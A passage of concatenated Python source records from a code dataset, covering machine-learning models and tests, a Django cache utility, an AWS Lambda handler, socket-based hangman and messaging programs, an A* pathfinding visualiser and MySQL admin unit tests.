i in dropout_in:\n layers = [nn.Linear(current_dim, h_dim, bias=False), nn.BatchNorm1d(h_dim, track_running_stats=False),\n nn.ReLU(),\n nn.Dropout(p=0.5)]\n else:\n layers = [nn.Linear(current_dim, h_dim, bias=False), nn.BatchNorm1d(h_dim, track_running_stats=False),\n nn.ReLU()]\n\n self.layers.append(nn.Sequential(*layers))\n current_dim = h_dim\n\n self.fc_out = nn.Linear(current_dim, out_size)\n\n def forward(self, x):\n for layer in self.layers:\n x = layer(x)\n\n return self.fc_out(x)\n","sub_path":"comps/fs/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"41131833","text":"import hashlib\n\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.cache import cache\nfrom django.core.urlresolvers import resolve\nfrom django.http import HttpRequest, HttpResponse, HttpResponseForbidden, Http404\nfrom django.utils import simplejson\nfrom django.utils.cache import get_cache_key\nfrom django.utils.decorators import method_decorator\nfrom django.utils.encoding import iri_to_uri\nfrom django.utils.translation import get_language\nfrom django.views.generic import View\n\nfrom funfactory import urlresolvers\nfrom .json import LazyEncoder\n\n\ndef expire_page_cache(path, key_prefix=None):\n # pass the path through funfactory resolver in order to get locale\n resolved_path = resolve(path)\n path_with_locale = urlresolvers.reverse(\n resolved_path.func,\n args = resolved_path.args,\n kwargs = resolved_path.kwargs\n )\n try:\n language = urlresolvers.split_path(path_with_locale)[0].lower()\n except:\n language = None\n\n # get cache key, expire if the cached item exists\n key = get_url_cache_key(\n path_with_locale, language=language, key_prefix=key_prefix\n )\n\n if key:\n if cache.get(key):\n cache.set(key, None, 0)\n return True\n return False\n\n\ndef get_url_cache_key(url, language=None, key_prefix=None):\n '''\n modified version of http://djangosnippets.org/snippets/2595/\n '''\n if key_prefix is None:\n key_prefix = getattr(settings, 'CACHE_MIDDLEWARE_KEY_PREFIX', None)\n ctx = hashlib.md5()\n path = hashlib.md5(iri_to_uri(url))\n cache_key = 'views.decorators.cache.cache_page.%s.%s.%s.%s' % (\n key_prefix, 'GET', path.hexdigest(), ctx.hexdigest()\n )\n if language:\n cache_key += '.%s' % language\n return cache_key\n\n\nclass ClearCache(View):\n def render_json_to_response(self, context):\n result = simplejson.dumps(context, cls=LazyEncoder)\n return HttpResponse(result, mimetype='application/javascript')\n\n @method_decorator(login_required)\n def get(self, request, *args, **kwargs):\n path = request.GET.get('path', None)\n \n try:\n resolved_path = resolve(path)\n expire_page_cache(path)\n except:\n raise Http404\n if self.request.is_ajax():\n result = {'success': 'True'}\n return self.render_json_to_response(result)\n else:\n return HttpResponse('Cache cleared for \"%s\"!' % path)\n \n","sub_path":"source/utils/caching.py","file_name":"caching.py","file_ext":"py","file_size_in_byte":2518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"283689102","text":"import pytest\nimport tensorflow as tf\n\nfrom tavolo.seq2seq import MultiHeadedAttention\n\n\ndef test_shapes():\n \"\"\" Test input-output shapes \"\"\"\n\n # Inputs shape\n input_shape_3d = (56, 10, 30)\n n_units_mh = 128\n\n inputs_3d = tf.random.normal(shape=input_shape_3d)\n\n single_self_attention = MultiHeadedAttention(n_heads=1,\n name='self_attention')\n multi_headed_self_attention = MultiHeadedAttention(n_heads=4,\n n_units=n_units_mh,\n name='mh_self_attention')\n\n output_single, output_mh = single_self_attention([inputs_3d, inputs_3d]), multi_headed_self_attention(\n [inputs_3d, inputs_3d])\n\n # Assert correctness of output shapes\n assert output_single.shape == input_shape_3d\n assert output_mh.shape == input_shape_3d\n\n\ndef test_query_key_value():\n \"\"\" Test the ability to use query, key and value separately \"\"\"\n # Inputs shape\n input_shape_3d = (56, 10, 30)\n n_units_mh = 128\n\n inputs_3d = tf.random.normal(shape=input_shape_3d)\n\n multi_headed_attention = MultiHeadedAttention(n_heads=4,\n n_units=n_units_mh,\n name='mh_attention')\n\n output_self, output_non_self = multi_headed_attention([inputs_3d, inputs_3d]), \\\n multi_headed_attention([inputs_3d, inputs_3d, inputs_3d])\n\n assert tf.reduce_all(tf.math.equal(output_self, output_non_self))\n\n\ndef test_masking():\n \"\"\" Test masking support \"\"\"\n\n # Input\n input_shape_3d = (56, 10, 30)\n inputs_3d = tf.random.normal(shape=input_shape_3d)\n mask = tf.less(tf.reduce_sum(tf.reduce_sum(inputs_3d, axis=-1, keepdims=True), axis=-1), 0)\n\n # Layers\n multi_headed_self_attention = MultiHeadedAttention(n_heads=3,\n name='mh_self_attention')\n\n result = multi_headed_self_attention([inputs_3d, inputs_3d], mask=[mask, mask])\n\n assert result.shape == input_shape_3d\n\n\ndef test_causality():\n \"\"\" Test causality \"\"\"\n\n # Input\n input_shape_3d = (56, 10, 30)\n n_units_mh = 128\n inputs_3d = tf.random.normal(shape=input_shape_3d)\n\n # Layers\n multi_headed_self_attention = MultiHeadedAttention(n_heads=4,\n n_units=n_units_mh,\n causal=True,\n name='mh_self_attention')\n\n result = multi_headed_self_attention([inputs_3d, inputs_3d])\n\n # Change last step\n inputs_3d_ = tf.concat([inputs_3d[:, :-1, :], tf.random.normal((input_shape_3d[0], 1, input_shape_3d[-1]))], axis=1)\n\n result_ = multi_headed_self_attention([inputs_3d_, inputs_3d_])\n\n # Assert last step is different but the rest not affected\n assert (result[:, :-1, :].numpy() == result_[:, :-1, :].numpy()).all() # Without last step\n assert not (result.numpy() == result_.numpy()).all()\n\n\ndef test_serialization():\n \"\"\" Test layer serialization (get_config, from_config) \"\"\"\n\n simple = MultiHeadedAttention()\n restored = MultiHeadedAttention.from_config(simple.get_config())\n\n assert restored.get_config() == simple.get_config()\n","sub_path":"tests/seq2seq/multi_headed_attention_test.py","file_name":"multi_headed_attention_test.py","file_ext":"py","file_size_in_byte":3359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"118817269","text":"import json\nimport logging\nimport os\n\nimport boto3\n\nfrom .state_machine import AwsStepFunction\n\nlog_level = os.getenv('LOG_LEVEL', logging.ERROR)\nlogger = logging.getLogger()\nlogger.setLevel(log_level)\n\n\ndef serialize_datetime(dt):\n return dt.isoformat()\n\n\ndef lambda_handler(event, context):\n logger.info(f'Event: {event}')\n logger.info(f'Context: {context}')\n\n state_machine_arn = os.getenv('STATE_MACHINE_ARN')\n region = os.getenv('AWS_DEPLOYMENT_REGION')\n # limit the size of the s3 objects going to the step function\n # objects greater than ~150 MB seem to cause problems\n # value is specified in bytes\n s3_object_size_limit = int(os.getenv('OBJECT_SIZE_LIMIT', 10 ** 9))\n\n responses = []\n transform_sfn = AwsStepFunction(state_machine_arn, region)\n\n def process_individual_payload(individual_payload):\n resp = transform_sfn.start_execution(invocation_payload=individual_payload)\n responses.append(resp)\n logger.info(f'State Machine Response: {resp}')\n\n for record in event['Records']:\n event_source = record['eventSource']\n if event_source == 'aws:sqs':\n body = record['body']\n s3_records = json.loads(body)\n try:\n s3_record_list = s3_records['Records']\n except KeyError:\n # retries from the error handler will run through this route\n payload = body\n process_individual_payload(payload)\n else:\n # handle things are coming through for the first time (i.e. they haven't failed before)\n for s3_record in s3_record_list:\n s3_object_size = s3_record['s3']['object']['size']\n if int(s3_object_size) < s3_object_size_limit:\n raw_payload = {'Record': s3_record}\n payload = json.dumps(raw_payload)\n process_individual_payload(payload)\n # put giant s3 files into the chopping queue\n else:\n send_to_chopper(s3_record, region)\n else:\n raise TypeError(f'Unsupported Event Source Found: {event_source}')\n return json.loads(json.dumps({'Responses': responses}, default=serialize_datetime))\n\n\ndef send_to_chopper(s3_record, region):\n sqs = boto3.client('sqs', region_name=region)\n stage = os.getenv(\"STAGE\")\n queue_name = f\"aqts-capture-chopping-queue-{stage}\"\n response = sqs.get_queue_url(QueueName=queue_name)\n queue_url = response['QueueUrl']\n sqs.send_message(\n QueueUrl=queue_url,\n MessageBody=json.dumps(s3_record)\n )\n logger.info(f'Putting giant file into chopping queue: {json.dumps(s3_record)}')\n","sub_path":"trigger/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"443203501","text":"from socket import *\nimport time\nimport sqlite3\nimport threading\nimport random\nfrom tkinter import *\nimport tkinter.messagebox\n\n#UDP SERVER\nUDPserverSocket = socket(AF_INET, SOCK_DGRAM)\nUDPserverSocket.bind(('', 12000))\ndef udp_ping():\n ##UDP PING BEGIN\n while 1:\n rand = random.randint(0, 10)\n message, address = UDPserverSocket.recvfrom(1024)\n message = message.upper()\n if rand >= 4:\n UDPserverSocket.sendto(message, address)\n ##UDP PING END\n\nthread_udp = threading.Thread(target=udp_ping, args=())\nthread_udp.start()\n\ndef send_one_message(sock, data):\n length = len(data)\n sock.sendall(struct.pack('!I', length))\n sock.sendall(data)\n\ndef recv_one_message(sock):\n lengthbuf = recvall(sock, 4)\n length, = struct.unpack('!I', lengthbuf)\n return recvall(sock, length)\n\ndef recvall(sock, count):\n buf = b''\n while count:\n newbuf = sock.recv(count)\n if not newbuf: return None\n buf += newbuf\n count -= len(newbuf)\n return buf\n\n\ndef guesseslimit(movie):\n num_unique_letters = len(list(set(movie)))\n print(\"num letters: \", num_unique_letters)\n if(num_unique_letters <= 10):\n num_guesses = round(num_unique_letters + (num_unique_letters / 3))\n else:\n num_guesses = round(num_unique_letters - (num_unique_letters / 3))\n #print(num_guesses)\n return num_guesses\n\n\nglobal movie_metadata_connection\nmovie_metadata_connection = \\\n sqlite3.connect('database/movie_metadata.sqlite')\n\n# This generated a random row from the movie_metadata database\ncursor = movie_metadata_connection.cursor()\ncursor.execute('SELECT * ' + 'FROM movie_metadata ' + 'ORDER BY RANDOM() ' + 'LIMIT 1')\nresults = cursor.fetchall()\n\nrow = results[0]\n\n# Get the data from the row.\ndirector_name = row[1]\nactor_1_name = row[3]\nactor_2_name = row[2]\nactor_3_name = row[5]\ntitle_year = row[6]\nmovie = row[4]\n\nrowstring = '-'.join(row)\n\n\ntotalguesses = guesseslimit(movie)\n\nconnected_users = []\n#SERVER SOCKET EX\nserver_name = 'localhost'\nserver_port = 2021\nserver_socket = socket(AF_INET,SOCK_STREAM)\nserver_socket.bind((server_name,server_port))\nserver_socket.listen(5)\nprint('The server is ready to receive')\n\n\n\ndef handlethread(conn):\n global director_name\n global actor_1_name\n global actor_2_name\n global actor_3_name\n global title_year\n global movie\n global totalguesses\n\n while True:\n try:\n guess = conn.recv(1024)\n except socket.error as e:\n err = e.args[0]\n if err == errno.EAGAIN or err == errno.EWOULDBLOCK:\n time.sleep(1)\n print(\"No data available\")\n continue\n else:\n print(e)\n sys.exit(1)\n else:\n if guess:\n guessdecode = guess.decode()\n guesslist = list(guessdecode)\n\n if guesslist[0] == \"l\":\n del guesslist[0]\n # return the new movielist and guessedletters and remainingguesses\n letterguess(conn, ''.join(guesslist))\n\n elif guesslist[0] == \"m\":\n del guesslist[0]\n # return true or false...\n result = movieguess(conn, ''.join(guesslist))\n\n #conn.sendto(str(director_name).encode(), user)\n #time.sleep(0.5)\n #conn.sendto(str(actor_1_name).encode(), user)\n #time.sleep(0.5)\n #conn.sendto(str(actor_2_name).encode(), user)\n #time.sleep(0.5)\n #conn.sendto(str(actor_3_name).encode(), user)\n #time.sleep(0.5)\n #conn.sendto(str(title_year).encode(), user)\n #time.sleep(0.5)\n #conn.sendto(str(movie).encode(), user)\n #time.sleep(0.5)\n # maybe send remainingguesses instead..\n #conn.sendto(str(totalguesses).encode(), user)\n #time.sleep(0.5)\n\n\n\n ## letter guess section ##\ndef letterguess(conn, guessfield, hiddenmovie):\n global correctcounter\n global incorrectcounter\n global moviearray\n global guessedletters\n global movie\n global connected_users\n\n i = 0\n letterinmovie = False\n valid = True\n letter = guessfield.get()\n letter = letter.lower()\n guessfield.delete(0, END)\n\n ## account for blank input ##\n if (len(letter) == 0):\n #tkinter.messagebox.showinfo(\"Error\", \"Please enter a word or letter!\")\n valid = False\n\n ## check to see if letter is good ##\n while (i < len(movie) and valid):\n if movie[i].lower() == letter[0]:\n\n letterinmovie = True\n moviearray.pop(2*i)\n moviearray.insert(2*i, letter[0])\n\n if guessedletters.count(letter[0]) == 0:\n correctcounter = correctcounter + movie.count(letter[0].lower()) + movie.count(letter[0].upper())\n guessedletters.append(letter[0])\n i = i + 1\n\n ## incorrect guess ##\n if (not letterinmovie and valid):\n\n if guessedletters.count(letter[0]) == 0:\n guessedletters.append(letter[0])\n incorrectcounter = incorrectcounter + 1\n\n ## update label ##\n remainingguesses = guesseslimit(movie) - incorrectcounter\n movieguessedprint = ''.join(guessedletters)\n movieprint = ''.join(moviearray) + \"\\n\"\n movieprint = movieprint + \"\\nGuessed Letters OR Numbers OR Symbols: \\n\" + movieguessedprint + \"\\n\"\n movieprint = movieprint + \"\\nIncorrect Guesses Remaining: \" + str(remainingguesses) + \"\\n\"\n #hiddenmovie.set(movieprint)\n\n\n# CLIENT HANDLING:\n ## update image ##\n #showhangman(gamelabel1, remainingguesses)\n match = \" \"\n\n ## win condition ##\n if correctcounter == len(movie) - movie.count(' '):\n #win(game, movie)\n match = \"True\"\n\n ## lose condition ##\n if incorrectcounter >= guesseslimit(movie):\n #lose(game, movie)\n match = \"False\"\n\n for user in connected_users:\n #conn.sendto(str(match).encode(), user)\n send_one_message(conn, match)\n time.sleep(0.5)\n #conn.sendto(str(movieprint).encode(), user)\n send_one_message(conn, movieprint)\n time.sleep(0.5)\n #conn.sendto(str(remainingguesses).encode(), user)\n send_one_message(conn, remainingguesses)\n\n time.sleep(0.5)\n\n\n## movie guess section ##\n\ndef movieguess(\n conn,\n guessfield,\n hiddenmovie\n ):\n\n global movie\n global connected_users\n\n movieguess = guessfield.get()\n i = 0\n match = \"False\"\n\n if movie.lower() == movieguess.lower():\n match = \"True\"\n\n# SEND MATCH TO CLIENT\n filler = \" \"\n for user in connected_users:\n #conn.sendto(str(match).encode(), user)\n #conn.sendto(filler.encode(), user)\n #conn.sendto(filler.encode(), user)\n send_one_message(conn, match)\n time.sleep(0.5)\n send_one_message(conn, filler)\n time.sleep(0.5)\n send_one_message(conn, filler)\n time.sleep(0.5)\n #if match:\n #win(game, movie)\n #else:\n #lose(game, movie)\n\n\n #conn.close()\n","sub_path":"hangman_server.py","file_name":"hangman_server.py","file_ext":"py","file_size_in_byte":7198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"591431239","text":"from collections import defaultdict\ngraph = defaultdict(list)\n\n\n'''\nAdd edge to graph.\n'''\ndef addEdge(graph, u, v):\n graph[u].append(v)\n\n\n\n'''\nAdd edges that are in graph to a list. The output will be (node, neighbor).\n'''\ndef generateEdges(graph):\n edges = []\n\n # For each node in graph, add (node, neighbor) to list of edges.\n for node in graph:\n for neighbor in graph[node]:\n edges.append((node, neighbor))\n\n return edges\n\n\n\n# graph = {\n# 'a' : ['c'],\n# 'b' : ['c', 'e'],\n# 'c' : ['a', 'b', 'd', 'e'],\n# 'd' : ['c'],\n# 'e' : ['c', 'b'],\n# 'f' : []\n# }\n\naddEdge(graph, 'a', 'c')\naddEdge(graph, 'c', 'a')\naddEdge(graph, 'a', 'b')\naddEdge(graph, 'b', 'c')\n\nprint(generateEdges(graph))","sub_path":"undirectedGraph.py","file_name":"undirectedGraph.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"488932877","text":"import math\nimport pygame\nfrom queue import PriorityQueue\n\n# COLORS\nEMPTY_COLOR = (255, 255, 255) # white\nCLOSED_COLOR = (255, 0, 0) # red\nOPEN_COLOR = (0, 255, 0) # green\nBARRIER_COLOR = (0, 0, 0) # black\nSTART_COLOR = (255, 165, 0) # orange\nEND_COLOR = (140, 0, 140) # purple\nPATH_COLOR = (240, 230, 140) # yellow\n\n\nWINDOW_SIZE = 800\nWINDOW = pygame.display.set_mode((WINDOW_SIZE, WINDOW_SIZE))\npygame.display.set_caption(\"A* Visualization\")\n\n\nclass Square:\n def __init__(self, row, col, size, total_rows):\n self.row = row\n self.col = col\n self.x = row * size\n self.y = col * size\n self.size = size\n self.total_rows = total_rows\n self.color = EMPTY_COLOR\n\n self.neighbors = []\n\n def get_position(self):\n return self.row, self.col\n \n def is_closed(self):\n return self.color == CLOSED_COLOR\n\n def is_open(self):\n return self.color == OPEN_COLOR \n\n def is_barrier(self):\n return self.color == BARRIER_COLOR\n\n def is_start(self):\n return self.color == START_COLOR\n\n def is_end(self):\n return self.color == END_COLOR\n\n def reset(self):\n self.color = EMPTY_COLOR\n\n def make_closed(self):\n self.color = CLOSED_COLOR\n\n def make_open(self):\n self.color = OPEN_COLOR\n\n def make_barrier(self):\n self.color = BARRIER_COLOR\n\n def make_start(self):\n self.color = START_COLOR\n\n def make_end(self):\n self.color = END_COLOR\n\n def make_path(self):\n self.color = PATH_COLOR\n\n def draw(self, window):\n pygame.draw.rect(WINDOW, self.color,\n (self.x, self.y, self.size, self.size))\n\n def update_neighbors(self, grid):\n self.neighbors = []\n\n if (self.row < self.total_rows - 1 and \n not grid[self.row + 1][self.col].is_barrier()): # down\n self.neighbors.append(grid[self.row + 1][self.col])\n\n if (self.row > 0 and \n not grid[self.row - 1][self.col].is_barrier()): # up\n self.neighbors.append(grid[self.row - 1][self.col])\n\n if (self.col < self.total_rows - 1 and \n not grid[self.row][self.col + 1].is_barrier()): # right\n self.neighbors.append(grid[self.row][self.col + 1])\n\n if (self.col > 0 and \n not grid[self.row][self.col - 1].is_barrier()): # left\n self.neighbors.append(grid[self.row][self.col - 1])\n\n def __lt__(self, other):\n return False\n\ndef heuristic(point1, point2):\n x1, y1 = point1\n x2, y2 = point2\n return abs(x2 - x1) + abs (y2 - y1)\n\ndef reconstruct_path(origin, current, draw):\n while current in origin:\n current = origin[current]\n current.make_path()\n draw()\n\n\ndef algorithm(draw, grid, start, end):\n count = 0\n open_set = PriorityQueue()\n open_set.put((0, count, start))\n\n origin = {}\n\n g_score = {square: float(\"inf\") for row in grid for square in row}\n g_score[start] = 0\n\n f_score = {square: float(\"inf\") for row in grid for square in row}\n f_score[start] = heuristic(start.get_position(), end.get_position())\n\n open_set_hash = {start}\n\n while not open_set.empty():\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n \n current = open_set.get()[2]\n open_set_hash.remove(current)\n\n if current == end:\n reconstruct_path(origin, end, draw)\n start.make_start()\n end.make_end()\n return True\n\n for neighbor in current.neighbors:\n temp_g_score = g_score[current] + 1\n\n if temp_g_score < g_score[neighbor]:\n origin[neighbor] = current\n g_score[neighbor] = temp_g_score\n f_score[neighbor] = (temp_g_score + \n heuristic(neighbor.get_position(), end.get_position()))\n\n if neighbor not in open_set_hash:\n count += 1\n open_set.put((f_score[neighbor], count, neighbor))\n open_set_hash.add(neighbor)\n neighbor.make_open()\n\n draw()\n\n if current != start:\n current.make_closed()\n \n return False\n\n\ndef make_grid(rows, size):\n grid = []\n gap = size // rows\n \n for i in range(rows):\n grid.append([])\n for j in range(rows):\n square = Square(i, j, gap, rows)\n grid[i].append(square)\n\n return grid\n\ndef draw_grid(window, rows, size):\n gap = size // rows\n\n for i in range(rows):\n pygame.draw.line(window, BARRIER_COLOR, (0, i*gap), (size, i*gap))\n for j in range(rows):\n pygame.draw.line(window, BARRIER_COLOR, (j*gap, 0), (j*gap, size))\n\ndef draw(window, grid, rows, size):\n window.fill(EMPTY_COLOR)\n\n for row in grid:\n for square in row:\n square.draw(window)\n\n draw_grid(window, rows, size)\n\n pygame.display.update()\n\ndef get_clicked_position(position, rows, size):\n gap = size // rows\n y, x = position\n\n row = y // gap\n col = x // gap\n\n return row, col\n\ndef main(window, size):\n ROWS = 50\n grid = make_grid(ROWS, size)\n\n start = None\n end = None\n\n run = True\n\n while run:\n draw(WINDOW, grid, ROWS, size)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n\n if pygame.mouse.get_pressed()[0]: # left click\n position = pygame.mouse.get_pos()\n row, col = get_clicked_position(position, ROWS, size)\n square = grid[row][col]\n\n if not start and square != end:\n start = square\n start.make_start()\n \n elif not end and square != start:\n end = square\n end.make_end()\n \n elif square != start and square != end:\n square.make_barrier()\n\n elif pygame.mouse.get_pressed()[2]: # right click\n position = pygame.mouse.get_pos()\n row, col = get_clicked_position(position, ROWS, size)\n square = grid[row][col]\n square.reset()\n if square == start:\n start = None\n if square == end:\n stop = None\n \n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE and start and end:\n for row in grid:\n for square in row:\n square.update_neighbors(grid)\n \n algorithm(lambda: draw(WINDOW, grid, ROWS, size), \n grid, start, end)\n\n if event.key == pygame.K_c:\n start = None\n end = None\n grid = make_grid(ROWS, size)\n\n pygame.quit()\n\nmain(WINDOW, WINDOW_SIZE)","sub_path":"astar.py","file_name":"astar.py","file_ext":"py","file_size_in_byte":7014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"384858578","text":"import socket\nimport sys\n\nclass PhoneConnection:\n\tdef __init__(self):\n\t\tself.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM);\n\n\tdef connect(self, HOST):\n\t\ttry:\n\t\t\tself.socket.connect((HOST, 51515));\n\t\texcept socket.error:\n\t\t\tprint (\"\\033[31mConnection refused ...\\033[0m\");\n\t\t\tsys.exit()\n\t\tprint (\"\\033[92mConnected to %s ...\\033[0m\" % HOST);\n\t\n\tdef send(self, number, message):\n\t\tMESSAGE = \"%s %s\" % (number, message);\n\t\tself.socket.sendall(MESSAGE);\n\t\tprint (\"\\033[92mRequest sent ...\\033[0m\");\n\t\tself.socket.close()","sub_path":"app/client/modules/networkCore.py","file_name":"networkCore.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"127655276","text":"# -*- coding: utf-8 -*-\nimport os\nimport logging\nimport argparse\n\nparse = argparse.ArgumentParser(description='ObjectDetection SSD')\n\nparse.add_argument('--lr', default=1e-3, type=float)\nparse.add_argument('--lr_decay', default=[100, 120, 140], type=list)\nparse.add_argument('--lr_decay_rate', default=0.1, type=float)\nparse.add_argument('--epochs', default=200, type=int)\nparse.add_argument('--batch_size', default=16 * 3, type=int)\nparse.add_argument('--distributed', default=True)\nparse.add_argument('--gpuid', default='0,1,2')\nparse.add_argument('--ckpt_dir', default='./checkpoint/')\nparse.add_argument('--resume', default=False, help='resume from checkpoint')\n\nparse.add_argument('--img_root', default='/home/yhuangcc/data/voc(07+12)/JPEGImages/')\nparse.add_argument('--train_list', default=[\"/home/yhuangcc/ObjectDetection/datasets/voc/voc07_trainval.txt\",\n \"/home/yhuangcc/ObjectDetection/datasets/voc/voc12_trainval.txt\"])\nparse.add_argument('--test_list', default=\"/home/yhuangcc/ObjectDetection/datasets/voc/voc07_test.txt\")\nparse.add_argument('--label_file', default='/home/yhuangcc/ObjectDetection/datasets/voc/labels.txt')\n\nlog_dir = './log/'\nparse.add_argument('--log_dir', default=log_dir)\nif not os.path.exists(log_dir):\n os.makedirs(log_dir)\nlogger = logging.getLogger(\"InfoLog\")\nlogger.setLevel(level=logging.INFO)\nhandler = logging.FileHandler(log_dir + 'log.txt')\nhandler.setLevel(logging.INFO)\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nhandler.setFormatter(formatter)\n\nconsole = logging.StreamHandler()\nconsole.setLevel(logging.INFO)\nconsole.setFormatter(formatter)\n\nlogger.addHandler(handler)\nlogger.addHandler(console)\n\n\ndef get_config():\n config, unparsed = parse.parse_known_args()\n return config\n","sub_path":"example/ssd/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"212489617","text":"#!/usr/bin/python\n# Classification (U)\n\n\"\"\"Program: proc_some_tbls.py\n\n Description: Unit testing of _proc_some_tbls in mysql_db_admin.py.\n\n Usage:\n test/unit/mysql_db_admin/proc_some_tbls.py\n\n Arguments:\n\n\"\"\"\n\n# Libraries and Global Variables\n\n# Standard\nimport sys\nimport os\n\nif sys.version_info < (2, 7):\n import unittest2 as unittest\nelse:\n import unittest\n\n# Third-party\nimport mock\n\n# Local\nsys.path.append(os.getcwd())\nimport mysql_db_admin\nimport lib.gen_libs as gen_libs\nimport version\n\n__version__ = version.__version__\n\n\ndef func_holder(server, dbs, tbl):\n\n \"\"\"Method: func_holder\n\n Description: Function stub holder for a generic function call.\n\n Arguments:\n server\n dbs\n tbl\n\n \"\"\"\n\n status = True\n\n if server and dbs and tbl:\n status = True\n\n return status\n\n\nclass Server(object):\n\n \"\"\"Class: Server\n\n Description: Class stub holder for mysql_class.Server class.\n\n Methods:\n __init__\n\n \"\"\"\n\n def __init__(self):\n\n \"\"\"Method: __init__\n\n Description: Class initialization.\n\n Arguments:\n\n \"\"\"\n\n pass\n\n\nclass UnitTest(unittest.TestCase):\n\n \"\"\"Class: UnitTest\n\n Description: Class which is a representation of a unit testing.\n\n Methods:\n setUp\n test_mysql_80\n test_pre_mysql_80\n test_miss_dbs\n test_no_dbs\n test_miss_tbls\n test_no_tbls\n test_some_tbls\n test_all_tbls\n\n \"\"\"\n\n def setUp(self):\n\n \"\"\"Function: setUp\n\n Description: Initialization for unit testing.\n\n Arguments:\n\n \"\"\"\n\n self.server = Server()\n self.func_name = func_holder\n self.db_list = [\"db1\", \"db2\"]\n self.db_name = [\"db1\", \"db2\"]\n self.db_name2 = [\"db1\"]\n self.db_name3 = []\n self.db_name4 = [\"db3\"]\n self.tbl_name = [\"tbl1\", \"tbl2\"]\n self.tbl_name2 = [\"tbl1\"]\n self.tbl_name3 = []\n self.tbl_name4 = [\"tbl1\", \"tbl3\"]\n self.version = {\"version\": \"5.7\"}\n self.version2 = {\"version\": \"8.0\"}\n\n @mock.patch(\"mysql_db_admin.detect_dbs\", mock.Mock(return_value=True))\n @mock.patch(\"mysql_db_admin.mysql_libs.fetch_tbl_dict\",\n mock.Mock(return_value=True))\n @mock.patch(\"mysql_db_admin.gen_libs.dict_2_list\")\n def test_mysql_80(self, mock_list):\n\n \"\"\"Function: test_mysql_80\n\n Description: Test with MySQL 8.0 version database.\n\n Arguments:\n\n \"\"\"\n\n mock_list.return_value = [\"tbl1\", \"tbl2\"]\n\n self.assertFalse(mysql_db_admin._proc_some_tbls(\n self.server, self.func_name, self.db_list, self.db_name,\n self.tbl_name, self.version2))\n\n @mock.patch(\"mysql_db_admin.detect_dbs\", mock.Mock(return_value=True))\n @mock.patch(\"mysql_db_admin.mysql_libs.fetch_tbl_dict\",\n mock.Mock(return_value=True))\n @mock.patch(\"mysql_db_admin.gen_libs.dict_2_list\")\n def test_pre_mysql_80(self, mock_list):\n\n \"\"\"Function: test_pre_mysql_80\n\n Description: Test with pre MySQL 8.0 version database.\n\n Arguments:\n\n \"\"\"\n\n mock_list.return_value = [\"tbl1\", \"tbl2\"]\n\n self.assertFalse(mysql_db_admin._proc_some_tbls(\n self.server, self.func_name, self.db_list, self.db_name,\n self.tbl_name, self.version))\n\n @mock.patch(\"mysql_db_admin.detect_dbs\", mock.Mock(return_value=True))\n def test_miss_dbs(self):\n\n \"\"\"Function: test_miss_dbs\n\n Description: Test with processing missing database.\n\n Arguments:\n\n \"\"\"\n\n self.assertFalse(mysql_db_admin._proc_some_tbls(\n self.server, self.func_name, self.db_list, self.db_name4,\n self.tbl_name4, self.version))\n\n @mock.patch(\"mysql_db_admin.detect_dbs\", mock.Mock(return_value=True))\n def test_no_dbs(self):\n\n \"\"\"Function: test_no_dbs\n\n Description: Test with processing no databases.\n\n Arguments:\n\n \"\"\"\n\n self.assertFalse(mysql_db_admin._proc_some_tbls(\n self.server, self.func_name, self.db_list, self.db_name3,\n self.tbl_name4, self.version))\n\n @mock.patch(\"mysql_db_admin.detect_dbs\", mock.Mock(return_value=True))\n @mock.patch(\"mysql_db_admin.mysql_libs.fetch_tbl_dict\",\n mock.Mock(return_value=True))\n @mock.patch(\"mysql_db_admin.gen_libs.dict_2_list\")\n def test_miss_tbls(self, mock_list):\n\n \"\"\"Function: test_miss_tbls\n\n Description: Test with processing missing tables.\n\n Arguments:\n\n \"\"\"\n\n mock_list.return_value = [\"tbl1\", \"tbl2\"]\n\n with gen_libs.no_std_out():\n self.assertFalse(mysql_db_admin._proc_some_tbls(\n self.server, self.func_name, self.db_list, self.db_name2,\n self.tbl_name4, self.version))\n\n @mock.patch(\"mysql_db_admin.detect_dbs\", mock.Mock(return_value=True))\n @mock.patch(\"mysql_db_admin.mysql_libs.fetch_tbl_dict\",\n mock.Mock(return_value=True))\n @mock.patch(\"mysql_db_admin.gen_libs.dict_2_list\")\n def test_no_tbls(self, mock_list):\n\n \"\"\"Function: test_no_tbls\n\n Description: Test with processing no tables.\n\n Arguments:\n\n \"\"\"\n\n mock_list.return_value = [\"tbl1\", \"tbl2\"]\n\n self.assertFalse(mysql_db_admin._proc_some_tbls(\n self.server, self.func_name, self.db_list, self.db_name2,\n self.tbl_name3, self.version))\n\n @mock.patch(\"mysql_db_admin.detect_dbs\", mock.Mock(return_value=True))\n @mock.patch(\"mysql_db_admin.mysql_libs.fetch_tbl_dict\",\n mock.Mock(return_value=True))\n @mock.patch(\"mysql_db_admin.gen_libs.dict_2_list\")\n def test_some_tbls(self, mock_list):\n\n \"\"\"Function: test_some_tbls\n\n Description: Test with processing some tables.\n\n Arguments:\n\n \"\"\"\n\n mock_list.return_value = [\"tbl1\", \"tbl2\"]\n\n 